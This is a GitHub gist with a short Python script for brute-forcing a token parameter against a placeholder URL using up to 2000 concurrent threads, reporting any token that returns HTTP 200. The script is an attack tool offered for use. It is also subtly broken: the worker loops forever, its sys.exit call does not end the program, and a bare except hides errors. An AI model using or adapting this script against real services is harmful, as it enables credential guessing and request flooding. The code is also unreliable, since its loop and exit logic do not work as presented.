Last active
February 25, 2021 00:23
-
-
Save Tethik/8cb144fe26a9a4530cb9150bcee3c008 to your computer and use it in GitHub Desktop.
Example of a quick and dirty way to bruteforce requests
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import sys | |
import threading | |
def trial(sem: threading.BoundedSemaphore, token): | |
while True: | |
try: | |
resp = requests.get(f"http://whatever?token={token}") | |
if resp.status_code == 200: | |
print(f"Success found with token {token}") | |
sys.exit() | |
sem.release() | |
except: | |
pass # this is fine. | |
maxconnections = 2000 | |
some_upper_bound = 10000 | |
sem = threading.BoundedSemaphore(value=maxconnections) | |
i = 0 | |
while i < some_upper_bound: | |
if i % 100 == 0: | |
print(i) | |
sem.acquire(blocking=True) | |
t = "whatever" + str(i) | |
thread = threading.Thread(target=trial, args=(sem, t,)) | |
thread.start() | |
i += 1 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment